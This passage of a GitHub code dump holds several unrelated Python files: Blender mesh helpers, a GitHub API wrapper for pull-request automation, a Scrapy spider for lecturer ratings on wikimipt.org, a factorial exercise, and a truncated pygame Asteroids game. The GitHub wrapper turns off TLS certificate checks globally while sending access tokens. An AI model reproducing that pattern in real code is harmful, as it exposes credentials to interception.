bmesh.from_edit_mesh(top.data) # Create bmesh object for easy mesh evaluation\r\n epsilon = 1e-5 \r\n\r\n for e in bm.edges: # Check all edges\r\n start_pos = e.verts[0].co # Get first vert position of this edge\r\n end_pos = e.verts[1].co # Get second vert position of this edge\r\n\r\n # Select or deselect depending of the relative position of both vertices\r\n start_max_abs_coords = np.abs([start_pos.x, start_pos.y]).max()\r\n end_max_abs_coords = np.abs([end_pos.x, end_pos.y]).max()\r\n e.select_set(abs(start_max_abs_coords - size / 2) <= epsilon and abs(end_max_abs_coords - size / 2) <= epsilon )\r\n \r\n bmesh.update_edit_mesh(top.data) # Update the mesh in edit mode\r\n bpy.ops.mesh.bridge_edge_loops()\r\n bpy.ops.mesh.normals_make_consistent(inside=False)\r\n bpy.ops.object.mode_set(mode=\"OBJECT\")\r\n\r\n return top\r\n \r\n @classmethod\r\n def get_highest_vertice_z(cls, obj):\r\n cls.focus(obj)\r\n\r\n bpy.ops.object.mode_set(mode=\"EDIT\")\r\n bpy.ops.mesh.select_mode(type='EDGE')\r\n\r\n bm = bmesh.from_edit_mesh(obj.data) # Create bmesh object for easy mesh evaluation\r\n max_z = -float(\"inf\")\r\n for v in bm.verts:\r\n max_z = max(max_z, v.co.z)\r\n bpy.ops.object.mode_set(mode=\"OBJECT\")\r\n\r\n return max_z\r\n\r\n @classmethod\r\n def camera_look_at(cls, obj_camera, point):\r\n loc_camera = obj_camera.matrix_world.to_translation()\r\n\r\n direction = point - loc_camera\r\n # point the cameras '-Z' and use its 'Y' as up\r\n rot_quat = direction.to_track_quat('-Z', 'Y')\r\n\r\n # assume we're using euler rotation\r\n obj_camera.rotation_euler = rot_quat.to_euler()\r\n \r\n @classmethod\r\n def clean_mesh(cls, obj):\r\n cls.focus(obj)\r\n bpy.ops.object.mode_set(mode=\"EDIT\")\r\n \r\n bpy.ops.mesh.select_mode(type='VERT')\r\n bpy.ops.mesh.select_loose()\r\n bpy.ops.mesh.delete(type='VERT')\r\n\r\n bpy.ops.mesh.select_mode(type='EDGE')\r\n bpy.ops.mesh.select_loose()\r\n bpy.ops.mesh.delete(type='EDGE')\r\n \r\n bpy.ops.mesh.select_mode(type='FACE')\r\n bpy.ops.mesh.select_all(action='SELECT')\r\n bpy.ops.mesh.convex_hull()\r\n bpy.ops.mesh.normals_make_consistent(inside=False)\r\n bpy.ops.object.mode_set(mode=\"OBJECT\")\r\n \r\n @classmethod\r\n def simplify_mesh(cls, obj, keep_face_ratio = 0.5):\r\n cls.focus(obj)\r\n bpy.ops.object.modifier_add(type='DECIMATE')\r\n obj.modifiers['Decimate'].ratio = keep_face_ratio \r\n bpy.ops.object.modifier_apply(modifier=obj.modifiers['Decimate'].name)\r\n bpy.ops.object.origin_set(type='ORIGIN_CENTER_OF_VOLUME')\r\n \r\n @classmethod\r\n def subdivision(cls, obj, level=5, adaptive=False, dicing=1.0):\r\n cls.focus(obj)\r\n obj.modifiers.new(f\"{obj.name}_subsurf\", type=\"SUBSURF\")\r\n obj.modifiers[f\"{obj.name}_subsurf\"].subdivision_type = \"SIMPLE\"\r\n\r\n if adaptive:\r\n obj.cycles.use_adaptive_subdivision = True\r\n obj.cycles.dicing_rate = dicing\r\n obj.modifiers[f\"{obj.name}_subsurf\"].levels = level - 1\r\n\r\n else:\r\n obj.modifiers[f\"{obj.name}_subsurf\"].levels = level - 1\r\n obj.modifiers[f\"{obj.name}_subsurf\"].render_levels = level\r\n \r\n # bpy.ops.object.modifier_apply(modifier=f\"{obj.name}_subsurf\")\r\n \r\n @classmethod\r\n def traverse_path(cls, path, postfix_list):\r\n files = []\r\n\r\n for file in glob.glob(path):\r\n if os.path.isdir(file):\r\n files.extend(cls.traverse_path(os.path.join(file, '*'), postfix_list))\r\n \r\n else:\r\n postfix = os.path.split(file)[-1].split(\".\")[-1]\r\n if postfix in postfix_list:\r\n files.append(file)\r\n\r\n return files\r\n \r\n @ classmethod\r\n def append_blend_file(cls, blendfile, section, objects):\r\n # ----------------- EXAMPLE -------------\r\n # load materials from materials.blend\r\n # blendfile = os.path.join(C.ROOT_DIR, \"materials.blend\")\r\n # section = \"/Material/\"\r\n # objects = {\r\n # \"Ballast\":[\r\n # \"Ballast-01\", \"Ballast-02\", \"Ballast-03\", \"Ballast-04\", \"Ballast-05\", \"Ballast-06\", \"Ballast-07\",\r\n # \"Ballast-08\", \"Ballast-09\", \"Ballast-10\", \"Ballast-11\", \"Ballast-12\"\r\n # ], \r\n # \"Ground\": [\r\n # # \"Ground-01\", \"Ground-02\", \"Ground-03\", \"Ground-04\", \r\n # \"Ground-05\", #\"Ground-01-Box\"\r\n # ],\r\n # \"Others\": [\"Transparent\"], \r\n # }\r\n\r\n for key in objects:\r\n for object in objects[key]:\r\n\r\n filepath = blendfile + section + object\r\n directory = blendfile + section\r\n filename = object\r\n bpy.ops.wm.append(\r\n filepath=filepath, \r\n filename=filename,\r\n directory=directory\r\n )","repo_name":"luojy95/AggreSyn","sub_path":"scripts/blender_utils.py","file_name":"blender_utils.py","file_ext":"py","file_size_in_byte":9498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"13659184361","text":"import sys\nfrom urllib.request import build_opener, HTTPSHandler, HTTPError, Request\nfrom urllib.parse import quote as urlquote\n#from io import StringIO\n#from shutil import copyfileobj\nimport logging\nimport re, os, time, hmac, base64, hashlib, urllib, mimetypes, json\nfrom util import get_config\nimport datetime\nimport ssl\n\n\nTIMEOUT = 60\n\n\nssl._create_default_https_context = ssl._create_unverified_context\n\nORG_NAME = 'nesanb'\n\nstr_tm = datetime.datetime.now().strftime(\"%Y%m%d\")\n\n\n_URL = 'https://api.github.com'\n_METHOD_MAP = dict(\n GET=lambda: 'GET',\n PUT=lambda: 'PUT',\n POST=lambda: 'POST',\n PATCH=lambda: 'PATCH',\n DELETE=lambda: 'DELETE')\n\nDEFAULT_SCOPE = None\nRW_SCOPE = 'user,public_repo,repo,repo:status,gist'\n\n\ndef _encode_params(kw):\n\n args = []\n for k, v in kw.items():\n qv = v\n args.append('%s=%s' % (k, urlquote(qv)))\n return '&'.join(args)\n\n\ndef _encode_json(obj):\n\n def _dump_obj(obj):\n if isinstance(obj, dict):\n return obj\n d = dict()\n for k in dir(obj):\n if not k.startswith('_'):\n d[k] = getattr(obj, k)\n return d\n\n return json.dumps(obj, default=_dump_obj)\n\n\ndef _parse_json(jsonstr):\n def _obj_hook(pairs):\n o = JsonObject()\n for k, v in pairs.items():\n o[str(k)] = v\n return o\n\n return json.loads(jsonstr, object_hook=_obj_hook)\n\n\nclass _Executable(object):\n def __init__(self, _gh, _method, _path):\n self._gh = _gh\n self._method = _method\n self._path = _path\n\n def __call__(self, **kw):\n return self._gh._http(self._method, self._path, **kw)\n\n def __str__(self):\n return '_Executable (%s %s)' % (self._method, self._path)\n\n __repr__ = __str__\n\n\nclass _Callable(object):\n def __init__(self, _gh, _name):\n self._gh = _gh\n self._name = _name\n\n def __call__(self, *args):\n\n if len(args) == 0:\n return self\n name = '%s/%s' % (self._name, '/'.join([str(arg) for arg in args]))\n return _Callable(self._gh, name)\n\n def __getattr__(self, attr):\n if attr == 'get':\n return _Executable(self._gh, 'GET', self._name)\n if attr == 'put':\n return _Executable(self._gh, 'PUT', self._name)\n if attr == 'post':\n return _Executable(self._gh, 'POST', self._name)\n if attr == 'patch':\n return _Executable(self._gh, 'PATCH', self._name)\n if attr == 'delete':\n return _Executable(self._gh, 'DELETE', self._name)\n name = '%s/%s' % (self._name, attr)\n return _Callable(self._gh, name)\n\n def __str__(self):\n return '_Callable (%s)' % self._name\n\n __repr__ = __str__\n\n\nclass GitHub(object):\n\n if (get_config('GITHUB','PROXY_NEEDED')=='Y'):\n os.environ['http_proxy'] = get_config('GITHUB','PROXY')\n os.environ['https_proxy'] = get_config('GITHUB','PROXY')\n\n def __init__(self, username=None, password=None, access_token=None, client_id=None, client_secret=None,\n redirect_uri=None, scope=None):\n self.x_ratelimit_remaining = (-1)\n self.x_ratelimit_limit = (-1)\n self.x_ratelimit_reset = (-1)\n self._authorization = None\n self._next_url= ''\n\n if username and password:\n # roundabout hack for Python 3\n userandpass = base64.b64encode(bytes('%s:%s' % (username, password), 'utf-8'))\n userandpass = userandpass.decode('ascii')\n self._authorization = 'Basic %s' % userandpass\n elif access_token:\n self._authorization = 'token %s' % access_token\n self._client_id = client_id\n self._client_secret = client_secret\n self._redirect_uri = redirect_uri\n self._scope = scope\n\n def authorize_url(self, state=None):\n if not self._client_id:\n raise ApiAuthError('No client id.')\n kw = dict(client_id=self._client_id)\n if self._redirect_uri:\n kw['redirect_uri'] = self._redirect_uri\n if self._scope:\n kw['scope'] = self._scope\n if state:\n kw['state'] = state\n \n return 'https://github.com/login/oauth/authorize?%s' % _encode_params(kw)\n def get_access_token(self, code, state=None):\n '''\n In callback url: http://host/callback?code=123&state=xyz\n use code and state to get an access token.\n '''\n kw = dict(client_id=self._client_id, client_secret=self._client_secret, code=code)\n if self._redirect_uri:\n kw['redirect_uri'] = self._redirect_uri\n if state:\n kw['state'] = state\n opener = build_opener(HTTPSHandler)\n request = Request('https://github.com/login/oauth/access_token', data=_encode_params(kw))\n request.get_method = _METHOD_MAP['POST']\n request.add_header('Accept', 'application/json')\n try:\n # proxi = {'http': 'http://proxy.xx.corp:8080'}\n\n response = opener.open(request, timeout=TIMEOUT)\n r = _parse_json(response.read())\n if 'error' in r:\n raise ApiAuthError(str(r.error))\n return str(r.access_token)\n except HTTPError as e:\n raise ApiAuthError('HTTPError when get access token')\n\n def __getattr__(self, attr):\n return _Callable(self, '/%s' % attr)\n\n def _http(self, _method, _path, **kw):\n data = None\n params = None\n if _method == 'GET' and kw:\n _path = '%s?%s' % (_path, _encode_params(kw))\n if _method in ['POST', 'PATCH', 'PUT']:\n data = bytes(_encode_json(kw), 'utf-8')\n url = '%s%s' % (_URL, _path)\n opener = build_opener(HTTPSHandler)\n request = Request(url, data=data)\n request.get_method = _METHOD_MAP[_method]\n if self._authorization:\n request.add_header('Authorization', self._authorization)\n if _method in ['POST', 'PATCH', 'PUT']:\n if '/reviews' in url:\n request.add_header('Accept', 'application/vnd.github.black-cat-preview+json')\n\n request.add_header('Content-Type', 'application/x-www-form-urlencoded')\n try:\n #print(url)\n # proxi = {'http': 'http://proxy.xxx.corp:8080'}\n response = opener.open(request, timeout=TIMEOUT)\n is_json = self._process_resp(response.headers)\n if is_json and not '/files' in url and '/contents/' in url:\n #print(response.read().decode('utf-8'))\n return response.read().decode('utf-8')\n elif is_json and not '/files' in url:\n return _parse_json(response.read().decode('utf-8'))\n elif is_json and '/files' in url:\n obj=_parse_json(response.read().decode('utf-8'))\n page=self._next_url\n return page, obj\n except HTTPError as e:\n is_json = self._process_resp(e.headers)\n if is_json:\n json = _parse_json(e.read().decode('utf-8'))\n else:\n json = e.read().decode('utf-8')\n req = JsonObject(method=_method, url=url)\n resp = JsonObject(code=e.code, json=json)\n print(json['message'])\n if resp.code == 404:\n raise ApiNotFoundError(url, req, resp)\n if resp.code == 405:\n raise ApiNotFoundError(url, req, resp)\n raise ApiError(url, req, resp)\n\n def _process_resp(self, headers):\n is_json = False\n self._next_url=''\n if headers:\n for k in headers:\n h = k.lower()\n if h == 'x-ratelimit-remaining':\n self.x_ratelimit_remaining = int(headers[k])\n elif h == 'x-ratelimit-limit':\n self.x_ratelimit_limit = int(headers[k])\n elif h == 'x-ratelimit-reset':\n self.x_ratelimit_reset = int(headers[k])\n elif h == 'link':\n try:\n st = headers[k].split(',')[0].split(';')[0]\n reg=re.compile(r\"page=\\d+\")\n r=reg.search(st)\n self._next_url=r.group(0)\n except Exception as e:\n print(str(e))\n\n elif h == 'content-type':\n is_json = headers[k].startswith('application/json')\n return is_json\n\n\n\n\nclass JsonObject(dict):\n\n def __getattr__(self, key):\n try:\n return self[key]\n except KeyError:\n raise AttributeError(r\"'Dict' object has no attribute '%s'\" % key)\n\n def __setattr__(self, attr, value):\n self[attr] = value\n\n\nclass ApiError(Exception):\n def __init__(self, url, request, response):\n super(ApiError, self).__init__(url)\n self.request = request\n self.response = response\n\n\nclass ApiAuthError(ApiError):\n def __init__(self, msg):\n super(ApiAuthError, self).__init__(msg, None, None)\n\n\nclass ApiNotFoundError(ApiError):\n pass\n\n\ndef get_pr_owner(repo, gh, pr):\n ls = gh.repos(ORG_NAME)(repo)('pulls')(pr).get()\n owner = ls['user']['login']\n return owner\n\n # val = ls['html_url'].replace('https://github.com/','').split('/')\n # print(ls.base['repo']['owner']['login'])\n # owner=str(ls.base['repo']['owner']['login'])\n # return val[0]\n\n\ndef get_prs(repo, gh, preq, loc,wlst):\n ls = gh.repos(ORG_NAME)(repo).pulls.get()\n logging.info('Downloading_PR ')\n for p in ls:\n val = p.url.split('/')\n pr = val[len(val) - 1]\n logging.info('Downloading started for ' + pr)\n # assignees=str(p.assignees)\n assignee = str(p.assignee)\n user=get_pr_owner(repo, gh, pr)\n\n if ((preq == pr) or (preq == '' and (assignee == 'None' or len(p.assignees)==0))):\n page, files = gh.repos(ORG_NAME)(repo)('pulls')(pr).files.get()\n for f in files:\n download_file(f.filename, f.raw_url, repo, pr, loc,user,wlst)\n while (not page == '' ):\n id=page.replace('page=','')\n if (id=='1'):\n break\n page, files = gh.repos(ORG_NAME)(repo)('pulls')(pr).files.get(page=id)\n for f in files:\n download_file(f.filename, f.raw_url, repo, pr,loc,user,wlst)\n logging.info('Downloaded PR')\n\ndef merge_pr(pr, repo, commit_msg, gh):\n logging.info('Merging Started PR')\n gh.repos(ORG_NAME)(repo)('pulls')(pr)('merge').put(commit_title=commit_msg)\n logging.info('Merged PR')\n\n\ndef review_pr(pr, repo, review_msg, gh):\n owner = get_pr_owner(repo, gh, pr)\n assign_pr(repo, gh, pr, owner)\n gh.repos(ORG_NAME)(repo)('pulls')(pr)('reviews').post(body=review_msg, event='REQUEST_CHANGES')\n\n\ndef assign_pr(repo, gh, pr, owner):\n data = [owner]\n gh.repos(ORG_NAME)(repo)('issues')(pr).patch(assignees=data)\n\n\ndef comment_pr(pr, repo, commit_msg, gh):\n gh.repos(ORG_NAME)(repo)('issues')(pr)('comments').post(body=commit_msg)\n\n\ndef download_file(filename, url, rep, pr, loc,user,wlst):\n file_name = loc + rep + '/' + pr + '/' + filename\n #print(url)\n url = url.replace('https://github.com/', 'https://raw.githubusercontent.com/').replace('/raw/', '/')\n opener = build_opener(HTTPSHandler)\n request = Request(url)\n request.get_method = _METHOD_MAP['GET']\n request.add_header('Authorization', 'token '+get_config('GITHUB','TOKEN'))\n request.add_header('Accept', 'application/vnd.github.v3.raw')\n\n response = opener.open(request, timeout=TIMEOUT)\n\n if not os.path.exists(os.path.dirname(file_name)):\n #print(os.path.dirname(file_name))\n os.makedirs(os.path.dirname(file_name))\n with open(file_name, \"wb\") as f:\n f.write(response.read())\n\n\n\ndef delete_file(file_path,repo,gh,shav):\n try:\n x= gh.repos(ORG_NAME)(repo)('contents')(file_path).delete(sha=shav,message=\"deleted\")\n except Exception as e:\n logging.error('Merged PR')(str(e))\n\ndef put_file(file_path,repo,gh,content):\n try:\n encodedm=base64.b64encode(bytes(content, \"utf-8\"))\n x= gh.repos(ORG_NAME)(repo)('contents')(file_path).put(content=encodedm.decode(\"utf-8\"),message=\"test\")\n except Exception as e:\n logging.error('Merged PR')(str(e))\n\n\n\n \n\ndef get_file(file_path,repo,gh):\n try:\n x= gh.repos(ORG_NAME)(repo)('contents')(file_path).get()\n pattern = r'\"content\"\\:\"[^\"]*'\n regex = re.compile(pattern, re.IGNORECASE | re.MULTILINE | re.DOTALL)\n\n content = regex.findall(x)\n\n encodex = content[0].replace('\"content\":', \"\").replace('\"', \"\")\n\n p = ''\n flag = True\n i = 0;\n j = 60\n while flag:\n p = p + encodex[i:i + j]\n\n if j<60:\n flag = False\n elif i + j > len(encodex):\n j = len(encodex) - i\n\n i = i + 62\n\n return base64.standard_b64decode(p).decode(\"utf-8\")\n except Exception as e:\n logging.error('Merged PR')(str(e))\n return ''\n\n\ndef rename_file(old_file_path,new_file_path,repo,gh,content):\n try:\n x = gh.repos(ORG_NAME)(repo)('contents')(old_file_path).get()\n pattern = r'\"sha\"\\:\"[^\"]*'\n regex = re.compile(pattern, re.IGNORECASE | re.MULTILINE | re.DOTALL)\n \n resp = regex.findall(x)\n \n shaval = resp[0].replace('\"sha\":', \"\").replace('\"', \"\")\n if len(shaval)>0:\n \n if len(content)==0:\n fcontent=get_file(old_file_path,repo,gh)\n else:\n fcontent =content\n\n delete_file(old_file_path,repo,gh,shaval)\n\n put_file(new_file_path,repo,gh,fcontent)\n except Exception as e:\n logging.error('Merged PR')(str(e))\n \n\nif __name__ == '__main__':\n gh = GitHub(username=get_config('GITHUB','USER'), access_token=get_config('GITHUB','TOKEN'))\n try:\n\n repo = ''\n method = ''\n pr = ''\n mesg = ''\n\n for arg in sys.argv:\n argin = arg.lower()\n if 'repo' in arg:\n pos = arg.find('=') + 1\n repo = arg[pos:]\n if 'method' in arg:\n pos = arg.find('=') + 1\n method = arg[pos:]\n if 'pr' in arg:\n pos = arg.find('=') + 1\n pr = arg[pos:]\n if 'message' in arg:\n pos = arg.find('=') + 1\n mesg = arg[pos:]\n\n if (method.lower() == 'download'):\n get_prs(repo, gh, str(pr))\n\n elif (method.lower() == 'comment'):\n comment_pr(pr, repo, mesg, gh)\n\n elif (method.lower() == 'review'):\n review_pr(pr, repo, mesg, gh)\n\n elif (method.lower() == 'merge'):\n merge_pr(pr, repo, mesg, gh)\n\n get_prs('pub', gh, '','D:/temp/')\n x=put_file('python/test1.py','vm',gh,\"testing\")\n # review_pr(5,'test_b','testyy',gh)\n # comment_pr(3, 'test', 'b test',gh)\n # merge_pr(3, 'test_b', 'b test',gh)\n # print('Success')\n # exit(0)\n except Exception as e:\n # print('Failed')\n # print(sys.exc_info()[0])\n exit(1)\n","repo_name":"nesanb/gitwrapper","sub_path":"git.py","file_name":"git.py","file_ext":"py","file_size_in_byte":15268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"6992164762","text":"from scrapy import Request, Spider\nfrom scrapy.http import HtmlResponse\nfrom wiki_mipt.items import MiptLecturer\n\n\nclass LecturersSpider(Spider):\n name = \"lecturers\"\n\n def start_requests(self):\n urls = [\n \"http://wikimipt.org/wiki/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:%D0%9F%D1%80%D0%B5%D0%BF%D0%BE%D0%B4%D0%B0%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8_%D0%BF%D0%BE_%D0%B0%D0%BB%D1%84%D0%B0%D0%B2%D0%B8%D1%82%D1%83\",\n ]\n for url in urls:\n yield Request(url=url, callback=self.parse_lecturers_list)\n\n def parse_lecturers_list(self, response: HtmlResponse):\n \"\"\"Собираем ссылки на лекторов и делаем реквесты по ним.\n Так же ищем следующую страницу, если она существует - переходим.\n \"\"\"\n lecturers_xpath = \"//div[@class='mw-category-group']/ul/li/a/@href\"\n lecturers = response.xpath(lecturers_xpath).getall()\n for lecturer_url in lecturers:\n lecturer_url = response.urljoin(lecturer_url)\n yield Request(url=lecturer_url, callback=self.parse_lecturer_data)\n\n next_page = response.xpath('//div[@id=\"mw-pages\"]/a[2]/@href').get()\n if next_page:\n next_page_url = response.urljoin(next_page)\n yield Request(url=next_page_url, callback=self.parse_lecturers_list)\n\n def parse_lecturer_data(self, response: HtmlResponse):\n \"\"\"Просто парсим данные\"\"\"\n profile = MiptLecturer()\n\n profile[\"full_name\"] = response.xpath(\"//h1[@id='firstHeading']/text()\").get()\n\n birth_xpath = \"//th[contains(text(),'Дата рождения')]/../td/text()\"\n profile[\"birth_day\"] = response.xpath(birth_xpath).get()\n\n teach_place_xpath = \"//th[contains(text(),'Работает')]/../td/ul/li/a/text()\"\n profile[\"teach_place\"] = response.xpath(teach_place_xpath).get()\n\n degree_xpath = \"//th[contains(text(),'Учёная степень')]/../td/text()\"\n profile[\"degree\"] = response.xpath(degree_xpath).get()\n\n knowledge_xpath = \"//td[contains(text(),'Знания')]/../td/div/span/text()\"\n profile[\"knowledge\"] = response.xpath(knowledge_xpath).get()\n\n teaching_xpath = (\n \"//td[contains(text(),'Умение преподавать')]/../td/div/span/text()\"\n )\n profile[\"teaching_skill\"] = response.xpath(teaching_xpath).get()\n\n commication_xpath = \"//td[contains(text(),'В общении')]/../td/div/span/text()\"\n profile[\"commication_skill\"] = response.xpath(commication_xpath).get()\n\n easy_xpath = \"//td[contains(text(),'«Халявность»')]/../td/div/span/text()\"\n profile[\"easy_exam\"] = response.xpath(easy_xpath).get()\n\n overall_xpath = \"//td[contains(text(),'Общая оценка')]/../td/div/span/text()\"\n profile[\"overall_score\"] = response.xpath(overall_xpath).get()\n\n yield profile\n","repo_name":"voctenzuk/wiki_mipt_scraper","sub_path":"wiki_mipt/spiders/lecturers.py","file_name":"lecturers.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"42643485128","text":"import sys, math\n\nN = int(sys.stdin.readline())\n\nfactorial = list(str(math.factorial(N)))\nfactorial.reverse()\n\ncount = 0\nfor i in range(len(factorial)):\n if (factorial[i] == \"0\"):\n count += 1\n else:\n break\n\nprint(count)","repo_name":"Choojj/acmicpc","sub_path":"단계별/19. 수학 3/10. 팩토리얼 0의 개수.py","file_name":"10. 팩토리얼 0의 개수.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34354298551","text":"import pygame\nimport math\nimport asteroidGameObject\nimport time\nfrom random import *\n\npygame.init()\n\nclock = pygame.time.Clock()\ndisplay_width = 1200#x\ndisplay_height = 800#y\ngameDisplay = pygame.display.set_mode((display_width,display_height))\nbulletList=[]\nasteroidList=[]\nalienShipList=[]\nalienBulletList=[]\nbossBulletList=[]\n \ndef isOffScreen(x,y):\n global display_width\n global display_height\n \n retBool=False\n if xdisplay_width:\n x=display_width-display_width\n retBool=True\n if ydisplay_height:\n y=display_height-display_height\n retBool=True\n return x,y\n \n\ndef blitShip(ship,x,y,angleIn):\n global gameDisplay\n new_image = pygame.transform.rotate(ship, angleIn)\n newRect=new_image.get_rect(center=(x,y))\n gameDisplay.blit(new_image, newRect)\n return newRect\n\n\ndef rocketLocation(movement,angle,xIn,yIn):\n global gameDisplay\n newX=xIn\n newY=yIn\n x2=(movement*math.cos(math.radians(angle)))+xIn\n y2=(movement*math.sin(math.radians(angle)))+yIn\n newX=x2\n newY=y2\n return newX,newY\n \ndef correctAngle(angleIn):\n retAngle=0\n if angleIn<0:\n retAngle=abs(angleIn)%360\n retAngle=360-retAngle\n elif angleIn>360:\n retAngle=angleIn%360\n else:\n retAngle=angleIn\n return retAngle\n\ndef findRocketRotationAngle(angleIn):\n retAngle=0\n if 90>angleIn>=0:\n change=90-angleIn\n retAngle=180+change\n if 180>angleIn>=90:\n change=angleIn-90\n retAngle=180-change\n if 270>angleIn>=180:\n change=angleIn-180\n retAngle=90-change\n if 360>=angleIn>=270:\n change=angleIn-270\n retAngle=360-change\n return retAngle\n \ndef generateBullet(xspeed,yspeed,image,currPosition,angle):\n global bulletList\n aBullet=asteroidGameObject.Object(xspeed,yspeed,image,currPosition,angle)\n bulletList.append(aBullet)\n\ndef deleteOffScreenBullets(i):\n global bulletList\n if len(bulletList)>0:\n if bulletList[i].centerx<0 or bulletList[i].centerx>1200:\n del bulletList[i]\n elif bulletList[i].centery<0 or bulletList[i].centery>800:\n del bulletList[i]\n if i1200:\n asteroidList[i].xspeed=asteroidList[i].xspeed*-1\n elif asteroidList[i].centery<0 or asteroidList[i].centery>800:\n asteroidList[i].yspeed=asteroidList[i].yspeed*-1\n \n \ndef updateAsteroidLocs():\n global asteroidList\n global gameDisplay\n asteroidBounce()\n \n for i in range(len(asteroidList)):\n x,y=calcObjectLocChange(asteroidList[i])\n asteroidList[i].centerx=x\n asteroidList[i].centery=y\n newRect=asteroidList[i].image.get_rect(center=(x,y))\n gameDisplay.blit(asteroidList[i].image,newRect)\n\ndef calDistBetweenTwoObjects(object1,object2,radius):\n retBool=False\n x1=object1.centerx\n y1=object1.centery\n x2=object2.centerx\n y2=object2.centery\n realDistance=math.sqrt((x2-x1)**2+(y2-y1)**2)\n if realDistance0:\n if alienBulletList[i].centerx<0 or alienBulletList[i].centerx>1200:\n del alienBulletList[i]\n elif alienBulletList[i].centery<0 or alienBulletList[i].centery>800:\n del alienBulletList[i]\n if i0:\n if bossBulletList[i].centerx<0 or bossBulletList[i].centerx>1200:\n del bossBulletList[i]\n elif bossBulletList[i].centery<0 or bossBulletList[i].centery>800:\n del bossBulletList[i]\n if i mouse[0] > x and y+h > mouse[1] > y:\n pygame.draw.rect(gameDisplay, ac,(x,y,w,h))\n\n if click[0] == 1 and action != None:\n return False \n else:\n pygame.draw.rect(gameDisplay, ic,(x,y,w,h))\n\n smallText = pygame.font.SysFont(\"comicsansms\",20)\n textSurf, textRect = text_objects(msg, smallText)\n textRect.center = ( (x+(w/2)), (y+(h/2)) )\n gameDisplay.blit(textSurf, textRect)\n \ndef game_intro():\n global gameDisplay\n intro = True\n white=(255,255,255)\n rollovergreen=(0,215,0)\n rolloverblue=(0,215,215)\n green=(0,128,128)\n blue=(0,0,215)\n \n \n while intro:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n \n click = pygame.mouse.get_pressed()\n mouse = pygame.mouse.get_pos()\n gameDisplay.fill(white)\n largeText = pygame.font.Font(\"SEASRN__.ttf\",115)\n TextSurf, TextRect = text_objects(\"ASTEROIDS\", largeText)\n TextRect.center = ((display_width/2),(display_height/2))\n gameDisplay.blit(TextSurf, TextRect)\n \n if click[0]==1:\n if 550+100>mouse[0]>550 and 450+50>mouse[1]>450: \n intro=False\n \n pygame.draw.rect(gameDisplay, blue,(550,450,100,50))\n smallText = pygame.font.Font(\"OpenSans-Regular.ttf\",20)\n textSurf, textRect = text_objects(\"PLAY\", smallText)\n textRect.center = ( (550+(100/2)), (450+(50/2)) )\n gameDisplay.blit(textSurf, textRect) \n \n \n pygame.display.update()\n clock.tick(100)\n \ndef resetGame(arr):\n global bulletList\n global asteroidList\n global alienShipList\n global alienBulletList\n global bossBulletList\n asteroidList=[]\n bulletList=[]\n alienShipList=[]\n alienBulletList=[]\n bossBulletList=[]\n arr[0]=None\n arr[1] = 360\n arr[2] = 480\n arr[3]=0\n arr[4]=0\n arr[5]=0\n arr[6]=0\n arr[7]=False\n arr[8]=False\n arr[9]=False\n arr[10]=4\n arr[11]=1\n arr[12]=1\n arr[13]=False\n arr[14]=True\n return arr\n\ndef main():\n global gameDisplay\n global alienShipList\n # pygame.init()\n black = (0,0,0)\n white = (255,255,255)\n crashed = False\n background=pygame.image.load('asteroidsbackground.jpg')\n background=pygame.transform.scale(background,(1200,800))\n ship = pygame.image.load('ship.png')\n ship=pygame.transform.scale(ship, (200,150))\n shipRect=ship.get_rect()\n bulletTeal=pygame.image.load('bulletTeal.png')\n bulletTeal=pygame.transform.scale(bulletTeal,(50,50))\n bulletFire=pygame.image.load('bulletFire.png')\n bulletFire=pygame.transform.scale(bulletFire,(40,40))\n bulletGreen=pygame.image.load('bulletLightGreen.png')\n bulletGreen=pygame.transform.scale(bulletGreen,(50,50))\n asteroid1=pygame.image.load('asteroidDarkGrey.png')\n asteroid2=pygame.image.load('asteroidGreen.png')\n asteroid3=pygame.image.load('asteroidRed.png')\n asteroid4=pygame.image.load('asteroidBlue.png')\n asteroid5=pygame.image.load('asteroidLightGrey.png')\n asteroidImageList=[asteroid1,asteroid2,asteroid3,asteroid4,asteroid5]\n alienShip=pygame.image.load('alien.png')\n alienShip=pygame.transform.scale(alienShip,(100,100))\n alienBoss=pygame.image.load('boss.png')\n alienBoss=pygame.transform.scale(alienBoss,(200,200))\n boss=None\n x = 360\n y = 480\n displacement=0\n angle=0\n angleChange=0\n rocketAngle=0\n fireTeal=False\n fireFire=False\n fireGreen=False\n numberofAsteroids=4\n level=1\n alienShipCount=1\n stopGame=False\n makeBoss=True\n game_intro()\n while not crashed:\n for event in pygame.event.get(): \n if event.type == pygame.QUIT:\n crashed = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n angleChange+=5\n elif event.key == pygame.K_RIGHT:\n angleChange-=5\n elif event.key==pygame.K_UP:\n displacement=10\n elif event.key==pygame.K_DOWN:\n displacement=-10\n # print(displacement)\n elif event.key==pygame.K_SPACE:\n generateBullet(13,13,bulletTeal,[x,y],rocketAngle-5)\n generateBullet(13,13,bulletFire,[x,y],rocketAngle)\n generateBullet(13,13,bulletTeal,[x,y],rocketAngle+5)\n\n # fire=True\n # elif event.key==pygame.K_h:\n # fireTeal=True\n # elif event.key==pygame.K_j:\n # fireFire=True\n # elif event.key==pygame.K_k:\n # fireGreen=True\n # elif event.key==pygame.K_l:\n # generateAsteroid(asteroidImageList)\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n angleChange=0\n elif event.key==pygame.K_UP or event.key==pygame.K_DOWN:\n displacement=0\n # elif event.key==pygame.K_SPACE:\n # fire=False\n # elif event.key==pygame.K_h:\n # fireTeal=False\n # elif event.key==pygame.K_j:\n # fireFire=False\n # elif event.key==pygame.K_k:\n # fireGreen=False\n # print(\"hello\")\n angle+=angleChange\n rocketAngle=findRocketRotationAngle(correctAngle(angle))\n x,y=rocketLocation(displacement,rocketAngle,x,y)\n x,y=isOffScreen(x,y)\n gameDisplay.blit(background,(0,0))\n 